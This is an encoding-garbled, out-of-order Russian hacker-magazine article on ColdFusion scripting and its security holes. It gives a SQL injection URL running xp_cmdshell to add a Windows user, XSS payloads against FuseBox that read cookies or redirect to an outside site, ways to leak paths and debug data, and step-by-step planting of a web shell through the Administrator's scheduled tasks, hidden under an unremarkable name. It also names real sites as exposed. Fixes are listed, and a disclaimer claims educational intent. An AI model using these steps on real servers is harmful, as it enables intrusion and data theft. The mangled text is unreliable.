ñÿ èíòåðïðåòàòîðîì ÐÍÐ. Ôàéëû .cfm ïðåäñòàâëÿþò ñîáîé êîä íà ÿçûêå
CFML (ColdFusion Markup Language) � ÿçûêå ñåðâåðà ColdFusion, êîòî-
ðûé ÿâëÿåòñÿ íåñòðîãèì ïîäìíîæåñòâîì XML: âñå îïåðàòîðû è âûðàæå-
íèÿ ïðåäñòàâëÿþòñÿ íàáîðîì ñïåöèàëüíûõ òýãîâ. Ïî ýòîé ïðè÷èíå cfm-
ñöåíàðèè ïîðîé âûãëÿäÿò êàê äèçàéíåðñêèå øàáëîíû äëÿ êàêîé-òî tem-
plate-ñèñòåìû :). Îäíàêî òàêîå âíåøíåå ñõîäñòâî îáìàí÷èâî: ColdFusion
ïðåäîñòàâëÿåò ìàññó âîçìîæíîñòåé è ïî ôóíêöèîíàëüíîñòè åäâà ëè óñ-
òóïàåò ëþáîìó äðóãîìó ÿçûêó ñöåíàðèåâ.
Äëÿ íàñòðîéêè ñåðâåðà èñïîëüçóåòñÿ ColdFusion Administrator � ñïåöèàëü-
íûé web-èíñòðóìåíò, ïîçâîëÿþùèé ÷åðåç óäîáíûå äèàëîãè êîíôèãóðèðî-
âàòü ñèñòåìó. Áîëåå ïîäðîáíî îá ýòîì ìû ïîãîâîðèì íèæå. À ñåé÷àñ äà-

Îñíîâíûå îøèáêè ïðîãðàììèñòîâ 
â cfm-ñöåíàðèÿõ

âàé ïðîéäåìñÿ ïî ÿçûêó, ÷òîáû ó
òåáÿ íå âîçíèêàëî ýëåìåíòàðíûõ
âîïðîñîâ. Ïðåæäå âñåãî íóæíî óÿñ-
íèòü òîò ôàêò, ÷òî âñå CFML-òýãè
íà÷èíàþòñÿ ñ ïðåôèêñà cf, ïîñëå
êîòîðîãî èäåò, ñîáñòâåííî, êîìàí-
äà. Íàïðèìåð, äâå ñàìûå èñïîëüçó-
åìûå â ëþáîì ÿçûêå êîìàíäû �
ïðèñâîåíèå è óñëîâèå � çäåñü âûã-
ëÿäÿò òàê:

<cfif var neq 5> <!--- åñëè var
íå ðàâíÿåòñÿ ïÿòè --->
<cfset var = 5> <!--- óñòàíî-
âèòü var=5 --->
</cfif>

Êàê âèäíî èç ïðèìåðà, îïåðàòîðû
ñðàâíåíèÿ íàïîìèíàþò Lisp'îâñ-
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Ïî ñâåäåíèÿì ãóãëà, â Èí-
òåðíåòå íàõîäèòñÿ ïðè-
ìåðíî 331 000 000 CFM-
ñöåíàðèåâ. Òàê ÷òî ëî-
ìàòü, êàê òû ïîíèìàåøü,
åñòü ÷òî.

Íà íàøåì äèñêå òû íàéäåøü
ñâåæóþ trial'êó Macromedia
ColdFusion, íàáîð äîêóìåí-
òàöèè, à òàêæå óïîìÿíóòûå 
â ñòàòüå ñöåíàðèè.

Ýòà ñòàòüÿ íàïèñàíà èñê-
ëþ÷èòåëüíî â îçíàêîìè-
òåëüíûõ öåëÿõ, ÷òîáû
ïðèâëå÷ü âíèìàíèå ê âîï-
ðîñàì áåçîïàñíîñòè CFM-
ñöåíàðèåâ.



ìàññèâàìè, ñòðóêòóðàìè (èìåíîâàííûìè ìàññèâàìè) è ñïèñêàìè. Òàêæå
âïå÷àòëÿåò óäîáíàÿ êîíòåêñòíàÿ ñïðàâêà è íåñêîëüêî äðóãèõ áîíóñîâ òè-
ïà àâòî-ïîäñòàíîâêè àòðèáóòîâ èëè çàêðûâàþùèõ òýãîâ, âñòðîåííûõ â
òàêèå ðåäàêòîðû, êàê HomeSite è ColdFusion Studio.
Äàëåå ñëåäóåò îòìåòèòü îäíó îñîáåííîñòü ðàáîòû c CFML. Íàðÿäó ñ äðó-
ãèìè ÿçûêàìè, îí ïîääåðæèâàåò ìíîãîêðàòíîå èñïîëüçîâàíèå êîäà,
îôîðìëåííîãî â âèäå ïîëüçîâàòåëüñêîé ôóíêöèè, íî êðîìå ýòîãî ïðå-
äóñìîòðåí ìåõàíèçì îïðåäåëåíèÿ ñîáñòâåííûõ òýãîâ (custom tags): åñ-
ëè â ôóíêöèè çíà÷åíèÿ ïåðåäàþòñÿ ïîçèöèîííî (ñêàæåì, â ôóíêöèè îòê-
ðûòèÿ ôàéëà ïåðâûì ïàðàìåòðîì âñåãäà èäåò ñòðîêîâîå èìÿ ôàéëà, à
âòîðûì � ðåæèì ðàáîòû), òî âûçîâ êàñòîì-òýãà ñòðîèòñÿ íà èìåíîâà-
íèè ïàðàìåòðîâ-àòðèáóòîâ � ýòî î÷åíü ïîõîæå íà îáû÷íûé html-òýã ñ
íåñêîëüêèìè àòðèáóòàìè âðîäå øèðèíû è öâåòà, òîëüêî çà ïîâåäåíèå
òàêîãî òýãà îòâå÷àåò ïðîãðàììèñò. Â ïðèíöèïå, êàñòîì-òýã � çàêîíî-
ìåðíîå ââåäåíèå äëÿ òýãîâîãî ÿçûêà.
Ñòàëêèâàëñÿ ëè òû â ÐÍÐ ñ ÷åì-íèáóäü âðîäå $$var? Ýòî âûðàæåíèå íà-
çûâàåòñÿ «ïåðåìåííàÿ ïåðåìåííàÿ» (variable variable), òî åñòü ðåçóëüòà-
òîì ñëåäóþùåãî êîäà áóäåò «666»:

$var="foo";
$foo=666;
echo $$var;

Åñëè â ÐÍÐ ýòèì, ïîõîæå, ìàëî êòî ïîëüçóåòñÿ, òî â ColdFusion òàêàÿ
ôèøêà âñòðå÷àåòñÿ äîâîëüíî ÷àñòî. Äëÿ ýòîãî èìÿ ïåðåìåííîé íóæíî
îêðóæèòü ñèìâîëàìè "#" ("ïàóíä"). Òàê, íàïðèìåð, ó òåáÿ åñòü äåñÿòü ïå-
ðåìåííûõ âèäà x1, x2,�, x10. Ïðîéòèñü ïî íèì ìîæíî òàê:

<cfloop index = "i" from = "1" to = "10">
<cfset "x#i#" = "var " & i>

</cfloop>

Â ïðèíöèïå, ýòî óäîáíàÿ ôè÷à, íî åñëè ïåðåãíóòü ïàëêó, òî ìîçã íà÷èíà-
åò êèïåòü. Âî âñÿêîì ñëó÷àå, åñëè â .cfm ôàéëå òû õî÷åøü íàïèñàòü html-
êîíñòàíòó öâåòà òèïà "#0000ff", òî ïàóíä íóæíî ýêðàíèðîâàòü �
"##0000ff", èíà÷å çàäîëáèøüñÿ èñêàòü îøèáêó. Ëþáèìûé òåðíàðíûé îïå-
ðàòîð âèäà x==y ? «x ðàâåí y»: «x íå ðàâåí y» åñòü è çäåñü, òîëüêî â CFML
ïåðåä ñêîáêàìè íóæíî íàïèñàòü "IIF" è íå çàáûòü, ÷òî îáà âûõîäíûõ âû-
ðàæåíèÿ áóäóò âûïîëíåíû. Åñòü îäíî âàæíîå îòëè÷èå îò ÐÍÐ: âûçîâ íåï-
ðîèíèöèàëèçèðîâàííîé ïåðåìåííîé ïðèâîäèò ê îøèáêå. Âîò òåïåðü, êîã-
äà ó òåáÿ â ãîëîâå îò âñåãî âûøåñêàçàííîãî âûñòðîèëàñü ñòðîéíàÿ è ÷åò-
êàÿ êàøà, ìîæíî ïðèñòóïèòü ê ðàññìîòðåíèþ óÿçâèìîñòåé.

[¹1: sql-injection] Ïðåæäå ÷åì ðàçáèðàòüñÿ ñ òåì, êàê â ColdFusion
ðàáîòàåò sql-injection, íóæíî óÿñíèòü, ÷òî äëÿ ðàáîòû ñ ÁÄ èñïîëüçóåòñÿ
ïàðíûé òýã <cfquery>, âíóòðè êîòîðîãî ïðîñòûì òåêñòîì âñòàâëÿåòñÿ
SQL-çàïðîñ. Äîïóñòèì, ïðè çàïðîñå ñòðàíèöû www.server.org?ItemID=5
âûïîëíÿåòñÿ ñëåäóþùèé êîä:

<cfquery name="qGetItemDetail" datasource="...">
SELECT * FROM Item WHERE ItemID=#URL.ItemID#
</cfquery>

Ðàäóéñÿ, åñëè ÁÄ ÿâëÿåòñÿ MSSQL Server: òû ðàçäîáûë ïðàêòè÷åñêè ãî-
òîâûé øåëë, ïîñêîëüêó ñòàíäàðòíàÿ ïðîöåäóðà MSSQL xp_cmdshell ñ ðà-
äîñòüþ èñïîëíèò ëþáîé òâîé êàïðèç. Òî åñòü ïîñëå íåáîëüøîãî èçìåíå-
íèÿ URL'à íà www.server.org?ItemID=5;exec%20master..xp_cmdshell%20
"net%20user%20petya%20password%20/add çàïóñòèòñÿ ïðîöåäóðà
xp_cmdshell è äîáàâèò íîâîãî þçåðà. Êàê áîðîòüñÿ ñ ýòèì íåäóãîì?
Î÷åíü ïðîñòî: íóæíî ïðîâåðÿòü è ýêðàíèðîâàòü âõîäíûå äàííûå, èñ-
ïîëüçîâàòü ñâîè stored procedures âìåñòî êóñêîâ SQL ( «ïåðåíîñ ëîãèêè
íà ñòîðîíó ñåðâåðà ÁÄ» èëè «ñîçäàíèå ëåãêîãî êëèåíòà»), à òàêæå
þçàòü ñïåöèàëüíûé òýã <cfqueryparam>, êîòîðûé ïîçâîëÿåò ïåðåäàòü â
çàïðîñ äàííûå, ÷åòêî óêàçàâ èõ òèï è ìàêñèìàëüíóþ äëèíó.

[¹2: ïðÿìîé âûçîâ òåìïëåéòîâ] Íåëüçÿ ñêàçàòü, ÷òî ýòî áóäåò ðàáî-
òàòü òîëüêî äëÿ ColdFusion'à, è âñå-òàêè. Ïðèíöèï ïðîñòîé: íàïðÿìóþ âûç-
âàòü ñêðèïò, êîòîðûé îáû÷íî ñàì ïî ñåáå íå âûçûâàåòñÿ, à èìååò êàêóþ-òî
÷èñòî ñëóæåáíóþ öåëü; íàïðèìåð, åñòü òàêàÿ ïðàêòèêà â ïðîãðàììèðîâàíèè
� âûíîñèòü çàïðîñû ê áàçå â îòäåëüíûå ôàéëû � òàê ïî÷åìó áû ýòèì íå
âîñïîëüçîâàòüñÿ? Òðóäíîñòè äâå: óçíàòü èìÿ íóæíîãî ôàéëà è ñóìåòü èñ-
ïîëüçîâàòü åãî â ñâîèõ öåëÿõ, âåäü ïðàâèòü êîä íèêòî íå äàñò. Ñàìûì ïðîñ-
òûì ðåøåíèåì ÿâëÿåòñÿ èçó÷åíèå ãîòîâûõ ïðîåêòîâ è èñïîëüçîâàíèå íàé-
äåííûõ áàãîâ. Äëÿ ïðèìåðà, ÷àñòî äëÿ ColdFusion-ïðîåêòîâ èñïîëüçóåòñÿ
òàêàÿ íàäñòðîéêà, êàê FuseBox, êîòîðàÿ çà ñ÷åò õèòðîãî íàèìåíîâàíèÿ, ðàç-
áèåíèÿ è ðàñïîëîæåíèÿ ôàéëîâ ñóùåñòâåííî îáëåã÷àåò ïðîöåññ ðàçðàáîò-
êè (õîðîøàÿ âåùü, èìååò ðåàëèçàöèþ äëÿ ÐÍÐ). Èñõîäíèêè îáùåäîñòóïíû

êèå: EQ (èëè IS) äëÿ ðàâåíñòâà, NEQ äëÿ íåðàâåíñòâà, GT è LT � áîëü-
øå-ìåíüøå. Òàêæå âèäíî, ÷òî êîììåíòàðèè âñòàâëÿþòñÿ ïðàêòè÷åñêè
òàê æå, êàê â HTML, òîëüêî ñ êàæäîé ñòîðîíû � òðè òèðå, à íå äâà.
Áîëüøèíñòâî òýãîâ èìåþò ñîîòâåòñòâóþùèå èì çàêðûâàþùèå ýëåìåí-
òû, êàê <cfif> (â ïðèìåðå âûøå). Òàêæå òýãè ìîãóò èìåòü è àòðèáóòû: ñêà-
æåì, ó öèêëà òèïà for áóäåò 3�4 àòðèáóòà: èìÿ ïåðåìåííîé öèêëà, äâà
àòðèáóòà ñ ãðàíèöàìè öèêëà è íåîáÿçàòåëüíûé àòðèáóò øàãà:

<cfloop index = "i" from = "1" to = "10" step = "2">
... HTML èëè CFML êîä... 

</cfloop>

Êðîìå ýòîãî, ÷àñòüþ CFML ÿâëÿåòñÿ CFScript � î÷åíü ñìàõèâàþùèé íà
JavaScript ÿçûê; äëÿ åãî èñïîëüçîâàíèÿ äîñòàòî÷íî çàêëþ÷èòü òðåáóå-
ìûå èíñòðóêöèè â ïàðó òýãîâ <cfscript></cfscript>. Âîò ïåðâûé ïðèìåð,
íàïèñàííûé íà CFScript:

<cfscript>
if (var neq 5)
var = 5;
</cfscript>

Íåñìîòðÿ íà òî, ÷òî âñå àâòîðû ñòàòåé è êíèã ïî CFML ðåêîìåíäóþò èñ-
ïîëüçîâàòü CFScript ââèäó åãî ñêîðîñòè ïî îòíîøåíèþ ê òýãîâîìó CFML,
ïîëåâûå çàìåðû ñêîðîñòè íàòàëêèâàþò íà âûâîä, ÷òî ëèáî ýòî òå æå ÿé-
öà, òîëüêî ñèíòàêñèñ ïðèâû÷íåå, ëèáî CFScript ðóëèò òîëüêî äëÿ êàêîãî-
òî óçêîãî êðóãà çàäà÷. Â îñíîâíîì, ñåðâåð ColdFusion ðàáîòàåò ïîä âèí-
äàìè (åñòü ðåàëèçàöèè ïîä Solaris, Linux, Cobalt, HP-UX), è ColdFusion
óìååò ðàáîòàòü ñ ðååñòðîì, äàííûìè âèíäîâîé äîìåííîé àóòåíòèôèêà-
öèè, ini-ôàéëàìè è ïðî÷èìè ôèøêàìè.
Ãîâîðÿò, ÷òî ïèñàòü íà ColdFusion íåâåðîÿòíî ïðîñòî, òàê êàê îí âìåùà-
åò â ñåáÿ îãðîìíîå êîëè÷åñòâî ôóíêöèé ñàìîãî ðàçëè÷íîãî íàçíà÷åíèÿ.
×òî áîëüøå âñåãî ðàäóåò � íàëè÷èå óäîáíûõ ôóíêöèé äëÿ ðàáîòû ñ

íåãðàìîòíîñòü ïðîãðàììèñòîâ ïðèâåëà ê sql-injection, êðîìå òîãî, 
ìû óçíàëè ìàññó îòëàäî÷íîé èíôîðìàöèè

CÑÛËÊÈ ÏÏÎ ÒÒÅÌÅ
! www.macromedia.com/software/coldfusion � íîâèíêè, 
äîêóìåíòàöèÿ, «îðåõè è áîëòû» îò ïðîèçâîäèòåëÿ.
! www.macromedia.com/cfusion/exchange � ïîäáîðêà 
ãîòîâûõ ïðèëîæåíèé, ôóíêöèé, êàñòîì-òýãîâ.
! www.easycfm.com � äîêóìåíòàöèÿ; ìîæíî 
ïîëüçîâàòüñÿ, êîãäà ïîä ðóêîé íåò ColdFusion Studio.
! www.brainbench.com � âîîáùå, ýòî òåñò-öåíòð; ìîæíî,
ïðîéäÿ òåñò, ïîëó÷èòü çâàíèå ìàñòåðà ColdFusion 
è ýòîò ôàêò îñâÿòèòü â ñâîåì ðåçþìå (âðåìÿ îò âðåìåíè
îíè äåëàþò áîëüøèíñòâî òåñòîâ áåñïëàòíûìè).
! www.fusebox.org � ïîäðîáíî î FuseBox'å.
! cfml.forever.kz � ïîäáîðêà èíòåðåñíûõ ñòàòåé 
ïî ColdFusion íà ðóññêîì ÿçûêå.
! http://bigd.kappa.ro/~pdoru/cfm/cfdecrypt.c � 
èñõîäíèê CFDecrypt.
! www.securiteam.com/tools/5ZP0B00FPG.html � ColdFusion
Web Shell (ïðàâäà, èñïîëüçîâàííûé òàì <cfexecute> 
ðàáîòàåò òîëüêî íà ñåðâàêàõ ñ Windows NT 4.0 è UNIX).
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è æäóò òâîåãî àíàëèçà. Ñëîæíîñòü â òîì, ÷òî ñîðöû ìîãóò áûòü çàêîäèðîâà-
íû òàêîé óòèëèòîé, êàê CFEncode � îíà èäåò â ñòàíäàðòíîé ïîñòàâêå ñåð-
âåðà è ðåàëèçóåò DES-øèôðîâàíèå. Íî êóðñ «Êîäèðîâàíèå èíôîðìàöèè»
ñåé÷àñ èäåò äàæå â ñðåäíåé øêîëå, ïîýòîìó íèæå åñòü ññûëêà íà èñõîäíèê
ïðîãè CFDecode, êîòîðóþ îäèí íàø íåõîðîøèé ñîîòå÷åñòâåííèê ïûòàåòñÿ
â ñêîìïèëèðîâàííîì âèäå ïðîäàâàòü ïî 18 áóêàçîèäîâ.
Êàê áîðîòüñÿ ñ áàãîì? Çàïðîñû è ïðî÷èå âàæíûå ôàéëû ðåêîìåíäóåò-
ñÿ âûíîñèòü â íåäîñòóïíóþ ÷åðåç áðàóçåð ïàïêó. Êðîìå ýòîãî, â ñïåöè-
àëüíûé òåìïëåéò application.cfm, êîòîðûé âûçûâàåòñÿ ïðè çàïðîñå ëþ-
áîãî ôàéëà, ìîæíî âñòàâèòü ïðîâåðêó ïóòè ê âûçûâàåìîìó ôàéëó.

[¹3: ïîëó÷åíèå àáñîëþòíîãî ïóòè] Ñ÷èòàåòñÿ, ÷òî óðîâåíü êðè-
òè÷íîñòè òàêîãî íåäîñìîòðà àäìèíà âåñüìà íèçêèé, íî õàêåðó òàêàÿ èí-
ôà ìîæåò îêàçàòüñÿ âåñüìà êñòàòè. Äåëî â òîì, ÷òî åñëè çàïðîñèòü ó ñåð-
âåðà, ðàáîòàþùåãî ïîä IIS, ôàéë, ñîñòîÿùèé èç èìåíè MS-DOS óñòðîé-

ñòâà (NUL, PRN, è äð.)
è îêîí÷àíèÿ .dbm, òî
ñåðâåð âûäàñò îøèáêó
ñ óêàçàíèåì àáñîëþò-
íîãî ïóòè ê èñêîìîìó
ôàéëó, êîòîðûé äîë-
æåí áûë áû ëåæàòü â
web root-ïàïêå. Íàïðè-
ìåð, çàïðîñ àäðåñà
http://national.united-
way.org/nul.dbm âåðíåò
ñòðàíèöó ñ îøèáêîé
(ïðåäñòàâëåííîé íà ðè-
ñóíêå ñëåâà). Îïûò ïîêàçûâàåò, ÷òî ÷àñòî ïëîõî íàñòðîåííûé ñåðâåð âå-
äåò ñåáÿ ïðèìåðíî òàê æå ïðè çàïðîñå ëþáîé íåñóùåñòâóþùåé ñòðàíè-
öû, íî ýòîò ñïîñîá èñïîëüçóåò ñïåöèôèêó íàñòðîéêè âåá-ñåðâåðà.
Êàê áîðîòüñÿ? Â íàñòðîéêàõ IIS ïîñòàâèòü ãàëî÷êó «Ïðîâåðêà ñóùåñòâî-
âàíèÿ ôàéëà» äëÿ ðàñøèðåíèé .cfm è .dbm.
Åùå åñòü îäèí âàðèàíò ïîëó÷åíèÿ ïóòè, íî îí ðàáîòàåò òîëüêî íà ñåðâå-
ðàõ âåðñèé 4.0õ, êîòîðûå óæå íå ïîëüçóþòñÿ ïîïóëÿðíîñòüþ � ñåðâåð
êýøèðóåò âûçûâàåìûå ñòðàíèöû, à âñþ èíôó ïî êýøó ñêëàäûâàåò â
ôàéë cfcache.map â îäíó ïàïêó ñ âûçâàííûì: òàì íàõîäÿòñÿ èìåíà âû-
çûâàåìûõ êýø-ôàéëîâ â ïîíÿòèÿõ ôàéëîâîé ñèñòåìû ñåðâåðà. Äëÿ ïðè-
ìåðà ñäåëàé òàêîé çàïðîñ â ãóãëå: inurl:cfcache.map, îòêðîé ëþáóþ ññûë-
êó, è òû óâèäèøü ÷òî-òî âðîäå ýòîãî:

[file.cfm]

Mapping=c:/cfusion/bin/cftags/\CFC197.tmp
SourceTimeStamp=05/18/1999 06:17:00 PM

[¹4: äîñòóï ê îòëàäî÷íîé èíôîðìàöèè] Áàãà íå î÷åíü ñòðàø-
íàÿ, íî çíàòü î íåé íàäî. Âîîáùå, çà ñ÷åò óñòàíîâîê â ColdFusion
Administrator'å, ëèáî ïîñëå çàïóñêà ñïåöèàëüíîãî òýãà â êîíöå .cfm ôàé-
ëà ìîæåò âûäàâàòüñÿ îòëàäî÷íàÿ èíôà, î÷åíü íóæíàÿ âî âðåìÿ ðàçðà-
áîòêè: âðåìÿ ðàáîòû ñêðèïòà, GET è POST ïåðåìåííûå, à òàêæå CGI-
ïåðåìåííûå (÷òî-òî âðîäå ïåðåìåííûõ îêðóæåíèÿ (ñì. ðèñóíîê íà
ïðàâîé ñòðàíèöå)). ×òî ìîæíî ñ ýòîãî ïîèìåòü: àáñîëþòíûé ïóòü ê âûç-
âàííîìó ôàéëó â ôàéëîâîé ñèñòåìå âåá-ñåðâåðà, à òàêæå èìÿ è âåðñèþ
ñàìîãî âåá-ñåðâåðà (÷àùå âñåãî IIS, ÷òî êîñâåííî ãîâîðèò î òèïå èñ-
ïîëüçóåìîé îïåðàöèîíêè). ×òîáû äîáèòüñÿ ÿâëåíèÿ òàêîãî ÷óäà, ïîïðî-
áóé äîïèñàòü ê óðëó ïàðàìåòð mode ñî çíà÷åíèåì debug, íàïðèìåð, òàê:
www.phillipsnizer.com/library/cases/lib_case368.cfm?mode=debug. Áî-
ðîòüñÿ ñ óÿçâèìîñòüþ ïðîñòî: íóæíî ââåñòè IP òèïà 127.0.0.1 â íàñòðîé-
êàõ äåáàãà ColdFusion Administrator.

[¹5 ColdFusion Administrator] Èíòåðåñíàÿ óÿçâèìîñòü, ñâîéñòâåí-
íàÿ òîëüêî ColdFusion, êàê óæå áûëî ñêàçàíî, òþíèíã ñåðâåðà îñóùåñ-
òâëÿåòñÿ ïðè ïîìîùè ñïåöèàëüíîé web-òóëçû. Ïðè ñåòàïå ColdFusion-
àäìèí çàõîäèò òóäà òàê: http://127.0.0.1/CFIDE/administrator/index.cfm.
Äîñòàòî÷íî ÷àñòî àäìèí çàáûâàåò îòðóáèòü äîñòóï ê ColdFusion
Administrator'ó ñ IP-àäðåñîâ, îòëè÷àþùèõñÿ îò 127.0.0.1, ïîýòîìó òâîÿ çà-
äà÷à çàêëþ÷àåòñÿ â íàõîæäåíèè ColdFusion-ñåðâàêà è ïðîâåðêå òàêîãî
óðëà: http://server.com/CFIDE/administrator/index.cfm (èíîãäà ïðèõîäèòñÿ
èãðàòü ðåãèñòðîì â èìåíàõ ïàïîê � íå ó âñåõ æå âèíäû ñòîÿò). Ïëþñ â
òîì, ÷òî òåáå íóæåí òîëüêî ïàðîëü � ëîãèíîâ òóò íå ïðåäóñìîòðåíî, ïî-
ýòîìó ìîæíî ïîáðóòôîðñèòü. Ñàì ïàðîëü ââîäèòñÿ âî âðåìÿ èíñòàëëÿ-
öèè ñåðâåðà (ñì. ðèñ âíèçó).
Áûñòðàÿ ïðîâåðêà ðåçóëüòàòîâ ãóãëîâîãî çàïðîñà google filetype:cfm äà-
ëà ïàðó ñàéòîâ, èìåþùèõ ëîïîóõèõ àäìèíîâ � ýòî íüþ-éîðêñêàÿ ïóá-
ëè÷êà (www.nypl.org) è êàêàÿ-òî õîì-ïàãà (www.petefreitag.com). 
Êàê áîðîòüñÿ: îòêëþ÷èòü äîñòóï ñ íåëîêàëüíûõ àäðåñîâ â íàñòðîéêàõ
ColdFusion Administrator
è ïðîñòàâèòü ïàðîëü
âðîäå UKO*8fTNDn.

[÷òî ýòî äàñò] Òóò
áëàãîñêëîííûé ÷èòà-
òåëü ìîæåò ñïðîñèòü,
à ÷òî, ìîë, ÿ ìîãó ïîè-
ìåòü ñ ñåðâàêà, åñëè ÿ
ïîëó÷èë-òàêè äîñòóï ê
ColdFusion Administra-
tor'ó? À îêàçûâàåòñÿ,
÷òî âîò çäåñü íà÷èíà-
åòñÿ ñàìîå ëàêîìîå:
âî-ïåðâûõ, åñëè ñåð-

ÁÀÃÈ CCOLDFUSION FFUSEBOX VV4.1.0 
Fusebox � ýòî ñòàíäàðòíàÿ äëÿ Coldfusion òåõíîëîãèÿ
ïîñòðîåíèÿ web-ñèñòåì, êîòîðàÿ ïîäðàçóìåâàåò ïîñëå-
äîâàòåëüíîå ïîäêëþ÷åíèå è âûïîëíåíèå îïðåäåëåííûõ
ôàéëîâ â çàâèñèìîñòè îò óïðàâëÿþùåãî ïàðàìåòðà.
×òî-òî âðîäå òîãî: 

<cfswitch expression="#fuseaction#">
<cfcase value= "act1">
<cfinclude template= "login_header.cfm">
...
<cfinclude template= "login_footer.cfm">
</cfcase>

<cfcase value="añt2">
<cfinclude template= "queryresult.cfm">

</cfcase>
</cfswitch>

×òîáû ïîëó÷èòü âíóøèòåëüíûé ñïèñîê ñàéòîâ, èñïîëüçó-
þùèõ FuseBox, äîñòàòî÷íî íàáðàòü â ãóãëå
"inurl:.cfm?fuseaction".
Â êîíöå ýòîãî ëåòà íà áàãòðàê-ëåíòàõ ïîÿâèëèñü ñîîá-
ùåíèÿ î áàãå âî FuseBox. Ýëåìåíòàðíûì çàïðîñîì ñòà-
ëî âîçìîæíûì óâåñòè ïîëüçîâàòåëüñêèå êóêè è âûïîë-
íèòü ïðîèçâîëüíûé êîä íà ñòîðîíå êëèåíòà:

! www.site.ru/index.cfm?fuseaction="><script>document.location=
"http://www.xakep.ru"</script>

Âîçìîæíî ïîëó÷èòü äîñòóï ê îòëàäî÷íîé èíôîðìàöèè
ýëåìåíòàðíûì çàïðîñîì:

! www.site.ru/index.cfm?fuseaction=?

Ê ñ÷àñòüþ, íå âñå ñàéòû, èñïîëüçóþùèå FuseBox V4.1.0
óÿçâèìû � íà íåêîòîðûõ ïðîåêòàõ ìîæåò áûòü óñòàíîâ-
ëåíà ñîáñòâåííàÿ ñòðàíèöà ñ ñîîáùåíèåì îá îøèáêå,
ãäå-òî áóäåò âûïîëíÿòüñÿ íà âñå JS-êîíñòðóêöèè. Òàê,
íàïðèìåð, âîçìîæåí âàðèàíò, ïðè êîòîðîì áóäóò ðàáî-
òàòü âñå çàïðîñû, êðîìå òåõ, ÷òî îáðàùàþòñÿ ê ïîëüçî-
âàòåëüñêèì êóêèñàì.
Â ñëó÷àå, åñëè òû íàòêíóëñÿ íà òàêîé ðåñóðñ, ñòîèò ïîï-
ðîáîâàòü åùå òàêîé çàïðîñ: 

! www.site.ru/index.cfm?fuseaction=fusebox.overview"><script>alert
(document.cookie)</script><
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àõ, åñëè áû çäåñü áûë äåôîëòîâûé ïàðîëü!

íà÷èíàåì äîáàâëåíèå çàäàíèÿèíôîðìàöèÿ îá àáñîëþòíîì ïóòè web-êàòàëîãà ïðèãîäèòñÿ ëþáîìó õàêåðó



âàê êðóòèòñÿ íà IIS'å, òî ñ ïîìîùüþ ñïåöè-
àëüíîãî Java-àïïëåòà íà âêëàäêå Server ->
Server Settings-> Settings òû ìîæåøü ñìåëî
ëàçàòü ïî äåðåâó ôàéëîâ íà ñåðâàêå, çàòåì
óñòàíîâèòü ññûëêó Error Template íà ñâîé
óäàëåííûé ñêðèïò è ïîñëå ýòîãî âûçâàòü íà
ñåðâåðå íåñóùåñòâóþùóþ ñòðàíèöó äëÿ çà-
ïóñêà ñâîåãî çëîêà÷åñòâåííîãî ñêðèïòà; âî-
âòîðûõ, åñòü áîëåå óíèâåðñàëüíûé ñïîñîá
ñäåëàòü áÿêó � õèòðûì äâèæåíèåì õâîñòà
çàëèòü íà ñåðâàê ñâîé ñêðèïò, òî åñòü ôàê-
òè÷åñêè ñäåëàòü ñåáå âåá-øåëë. Äëÿ ýòîãî
èäè íà âêëàäêó Server ->Automated Tasks->
Schedule Task, òàì æìè íà êíîïêó Add Scheduled Task. Íà ýòîé ñòðà-
íèöå ââåäè èìÿ çàäà÷è, ëó÷øå ÷òî-íèáóäü íåïðèìåòíîå äëÿ àäìèíà
(åñëè òàêîå âîîáùå áûâàåò; äëÿ ïðèìåðà ïîñìîòðè íà ðèñóíîê
ñïðàâà íà ëåâîé ñòðàíèöå).
Ïðîâåðü, ÷òîáû ïîëå Operation èìåëî çíà÷åíèå HTTPRequest. Çàòåì
â ïîëå URL ïèøè ññûëêó íà ñâîé ñöåíàðèé, ïîñëå ÷åãî â ïîëå Publish
îòìåòü àðõèâàæíóþ äëÿ íàñ ãàëî÷êó Save output to a file, è çàòåì óêà-
æè ïóòü è èìÿ âûõîäíîãî ôàéëà íà ñåðâåðå � ïóòü ìîæíî óçíàòü îä-
íèì èç îïèñàííûõ âûøå ñïîñîáîâ, à åñëè íå âûøëî, òî â äðóãîì îê-
íå áðàóçåðà çàïðîñè ó ýòîãî ñåðâåðà íåñóùåñòâóþùèé ôàéë, à â
ColdFusion Administrator'å èäè íà âêëàäêó Tools-> Logs and Statistics->
Log Files, çàõîäè â webserver.log è ñìîòðè, ãäå ñåðâàê èñêàë îòâåò íà
òâîé õèòðûé çàïðîñ. Ïîñëå âñåõ ýòèõ êîíâóëüñèé , ñìåëî æìè êíîïêó
«Submit Changes», à íà ïîÿâèâøåéñÿ ñòðàíèöå íàæìè êàðòèíêó Go
ðÿäîì ñ èìåíåì òâîåé çàäà÷è (îíà â ïîñëåäíåì ñòîëáöå Contols). Åñ-
ëè âñå îòëè÷íî, òî íà ñåðâåðå áóäåò ñîçäàí ôàéë ñ òåêñòîì óêàçàí-
íîé ñòðàíèöû, íà êîòîðîé, ðàçóìååòñÿ, íàõîäèëñÿ êîä ïðîñòåéøåãî
CFML web-øåëëà è òåïåðü ýòîò ôàéë ìîæíî ñìåëî âûçûâàòü ÷åðåç
àäðåñíóþ ñòðîêó áðàóçåðà.

[âûâîäû] Ìû ñ òîáîé îñâîèëè îñíîâû ñîçäàíèÿ cfm-ñöåíàðèåâ è ðà-
çîáðàëèñü ñ íåêîòîðûìè ïðîáëåìàìè áåçîïàñíîñòè. Íà ñàìîì äåëå, åñ-
ëè òû íàáåðåøü â ïîèñêå íà SecurityFocus.com ColdFusion, òî ïðèÿòíî
óäèâèøüñÿ êîëè÷åñòâó ïîÿâèâøèõñÿ ññûëîê :). Ñðåäè íèõ ëåãêî íàéòè
êàê îïèñàíèå áàãîâ ñàìîãî äåòèùà Macromedia, òàê è óïîìèíàíèÿ îá

óÿçâèìîñòÿõ â ïðîäóêòàõ, íàïèñàííûõ íà CFML. Óñïåõîâ òåáå â îñâîå-
íèè íîâîãî ãîðèçîíòà :)! Áóäóò âîïðîñû � ïèøè 

ìíîãèå ñåðâåðû ColdFusion òàê è ñïåøàò ïîäåëèòüñÿ ñ òîáîé öåííîé 
îòëàäî÷íîé èíôîðìàöèåé

SQL_INJECTION ÂÂ IINSTABOARD 11.3 
Ê ñîæàëåíèþ, ïîïóëÿðíûõ ôîðóìîâ âðîäå phpBB, íàïèñàííûõ íà CFM íåò.
Îäíàêî èç òåõ, ÷òî ÿ íàøåë, âñå îêàçàëèñü áàæíûìè :). Çà ïðèìåðîì äàëåêî
